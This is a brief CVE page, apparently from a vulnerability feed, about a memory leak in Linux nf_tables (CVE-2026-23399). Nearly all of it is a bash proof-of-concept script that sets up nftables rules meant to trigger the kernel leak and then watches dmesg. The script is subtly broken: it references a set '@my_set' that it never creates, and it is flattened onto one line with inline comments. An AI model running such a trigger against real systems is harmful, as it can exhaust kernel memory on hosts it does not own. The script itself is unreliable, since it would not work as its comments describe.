CVE-2026-23399: Linux内核nf_tables内存泄漏漏洞

#!/bin/bash # PoC Concept: Trigger nft_dynset memory leak # Requires vulnerable kernel version and nftables installed. # Add a table nft add table ip filter # Add a chain nft add chain ip filter input { type filter hook input priority 0 \; } # Create a set with dynamic update (dynset) # This attempts to add elements dynamically. # If the kernel fails to clone a 2nd stateful expr during an update, the leak occurs. # Reproducing requires inducing memory pressure or specific internal state. nft add rule ip filter input update @my_set { ip saddr limit rate 10/second } counter echo "Rule added. Under memory pressure or specific packet flow, this may trigger CVE-2026-23399." # Monitor kernel logs: dmesg | grep -i "unreferenced object"